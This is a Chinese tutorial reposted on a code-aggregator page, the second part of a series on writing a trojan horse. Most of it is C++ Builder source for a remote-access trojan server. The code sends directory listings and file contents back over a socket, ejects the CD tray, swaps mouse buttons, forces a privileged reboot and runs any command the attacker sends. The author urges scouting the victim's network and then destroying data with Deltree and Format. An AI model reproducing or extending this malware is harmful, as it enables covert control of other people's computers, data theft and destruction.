zoukankan      html  css  js  c++  java
  • 木马是如何编写的(二)

    上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲啰: { else if(temp.SubString(0,3)=="dir") { //如果前3个字符是“dir” int Read_Num; char * CR_LF="\n"; int attrib; char *filename; DIR *dir; struct dirent *ent; int number=temp.Length(); //得到字符串的长度 AnsiString Dir_Name=temp.SubString(5,number-3); //从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名 if(Dir_Name=="") { //如果目录名为空 Socket->SendText("Fail By Open DIR's Name"); //返回“Fail By Open DIR's Name”信息 goto END; //跳到END } char * dirname; dirname=Dir_Name.c_str(); if ((dir = opendir(dirname)) == NULL) { //如果打开目录出错 Socket->SendText("Fail by your DIR's name!"); //返回“Fail By Your DIR's Name”信息 goto END; //跳到END } times_of_try=0; while(fp==NULL) { //如果指针是NULL fp=fopen(TempFile,"w+"); //就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖 times_of_try=times_of_try+1; //计数器加1 if(times_of_try>100) { //如果已经试了100次了,仍未成功(真有耐心!) Socket->SendText("Fail By Open File"); //就发回“Fail By Open File”的错误信息 goto END; //并跳到END处 } } while ((ent = readdir(dir)) != NULL) { //如果访问目标目录成功 if(*(AnsiString(dirname)).AnsiLastChar()!='\\') //如果最后一个字符不是“\”,证明不是根目录 filename=(AnsiString(dirname)+"\\"+ent->d_name).c_str(); //加上“\”字符后将指针指向目录流 else filename=(AnsiString(dirname)+ent->d_name).c_str(); //如果是根目录,则不用加“\” attrib=_rtl_chmod(filename, 0); //得到目标文件的访问属性 if (attrib & FA_RDONLY) //“&”字符是比较前后两个变量,如果相同返回1,否则返回0 fwrite(" R",sizeof(char),3,fp); //将目标文件属性设为只读 else fwrite(" ",sizeof(char),3,fp); //失败则写入空格 if (attrib & FA_HIDDEN) fwrite("H",sizeof(char),1,fp); //将目标文件属性设为隐藏 else fwrite(" ",sizeof(char),1,fp); //失败则写入空格 if (attrib & FA_SYSTEM) fwrite("S",sizeof(char),1,fp); //将目标文件属性设为系统 else fwrite(" ",sizeof(char),1,fp); //失败则写入空格 if (attrib & FA_ARCH) fwrite("A",sizeof(char),1,fp); //将目标文件属性设为普通 else fwrite(" ",sizeof(char),1,fp); //失败则写入空格 if (attrib & FA_DIREC) fwrite(" ",sizeof(char),9,fp); //将目标文件属性设为目录 else fwrite("     ",sizeof(char),9,fp); //失败则写入空格 fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp); //将目录名写入目标文件 fwrite(CR_LF,1,1,fp); //写入换行 } fclose(fp); //关闭文件 closedir(dir); //关闭目录 FILE *fp1=NULL; times_of_try=0; while(fp1==NULL) { fp1=fopen(TempFile,"r"); //打开Win369.bat准备读 times_of_try=times_of_try+1; //计数器加1 if(times_of_try>100) { //如果已经试了100次了,仍未成功 Socket->SendText("Fail By Open File"); //就发回“Fail By Open File”的错误信息 goto END; //并跳到END处 } } AnsiString Return_Text=""; char temp_content[300]; for(int i=0;i<300;i++) temp_content[i]='\0'; //定义的一个空数组 Read_Num=fread(temp_content,1,300,fp1); //从目标文件中读入前300个字符 while(Read_Num==300) { Return_Text=Return_Text+temp_content; //Return_Text变量加上刚才的300个字符 for(int i=0;i<300;i++) temp_content[i]='\0'; Read_Num=fread(temp_content,1,300,fp1); //重复 }; Return_Text=Return_Text+temp_content; //Return_Text变量加上刚才的300个字符 fclose(fp1); //关闭目标文件 Socket->SendText(Return_Text); //返回Return_Text变量的内容 } } 够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?): { else if(temp.SubString(0,4)=="type") { //如果前4个字符是“type” int Read_Num; int number=temp.Length(); AnsiString File_Name=temp.SubString(6,number-4); //将目标文件流存入File_Name变量中 times_of_try=0; while(fp==NULL) { fp=fopen(File_Name.c_str(),"r"); //打开目标文件准备读 times_of_try=times_of_try+1; //计数器加1 if(times_of_try>100) { //如果已试了100次了 Socket->SendText("Fail By Open File"); //返回“Fail By Open File”的错误信息 goto END; //跳到END } } AnsiString Return_Text=""; char temp_content[300]; for(int i=0;i<300;i++) temp_content[i]='\0'; //定义一个空数组 Read_Num=fread(temp_content,1,300,fp); //从目标文件中读入前300个字符 while(Read_Num==300) { Return_Text=Return_Text+temp_content; //Return_Text的内容加上刚才的字符 for(int i=0;i<300;i++) temp_content[i]='\0'; Read_Num=fread(temp_content,1,300,fp); //重复 }; Return_Text=Return_Text+temp_content; //Return_Text的内容加上刚才的字符 fclose(fp); //关闭目标文件 Socket->SendText(Return_Text); //返回Return_Text的内容,即你查看文件的内容 } } 咳咳!累死了!还是来点轻松的吧——操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中): { else if(temp=="open") { //如果收到的temp的内容是“open” mciSendString("set cdaudio door open", NULL, 0, NULL); //就弹出光驱的托盘 } else if(temp=="close") { //如果收到的temp的内容是“close” mciSendString("Set cdaudio door closed wait", NULL, 0, NULL); //就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^ } } 接着就是交换目标机的鼠标左右键,代码如下: { else if(temp=="swap") { SwapMouseButton(1); //交换鼠标左右键,简单吧? } } 然后就是使目标机重新启动。但这里要区分WinNt和Win9x——NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限: { else if(temp=="reboot") { //如果收到的temp的内容是“temp” DWORD dwVersion = GetVersion(); //得到操作系统的版本号 if (dwVersion < 0x80000000) { //操作系统是WinNt,不是Win9x HANDLE hToken; TOKEN_PRIVILEGES tkp; //定义变量 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); //OpenProcessToken()这个函数的作用是打开一个进程的访问令牌 //GetCurrentProcess()函数的作用是得到本进程的句柄 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); //LookupPrivilegeValue()的作用是修改进程的权限 tkp.PrivilegeCount = 1; //赋给本进程特权 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); //AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利 ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0); //强行退出WinNt并重启 } else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0); //强行退出Win9x并重启 } } 如果以上都不是,就让它在Dos窗口中执行传来的命令: { else { //如果都不是 char * CR_TF="\n"; times_of_try=0; while(fp==NULL) { fp=fopen(TempFile,"w+"); //创建Win369.bat,如果已存在就覆盖 times_of_try=times_of_try+1; //计数器加1 if(times_of_try>100) { Socket->SendText("Fail By Open File"); //返回“Fail By Open File”的信息 goto END; //跳到END } } fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp); //写入欲执行的命令 fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp); //写入换行符 fclose(fp); //关闭Win369.bat system(TempFile); //执行Win369.bat Socket->SendText("Success"); //返回“Success”信息 } } 你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。 到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)
  • 相关阅读:
    MongoDB 释放磁盘空间 db.runCommand({repairDatabase: 1 })
    RK 调试笔记
    RK Android7.1 拨号
    RK Android7.1 移植gt9271 TP偏移
    RK Android7.1 定制化 itvbox 盒子Launcher
    RK Android7.1 双屏显示旋转方向
    RK Android7.1 设置 内存条作假
    RK Android7.1 设置 蓝牙 已断开连接
    RK Android7.1 进入Camera2 亮度会增加
    RK 3128 调触摸屏 TP GT9XX
  • 原文地址:https://www.cnblogs.com/adodo1/p/4327077.html
Copyright © 2011-2022 走看看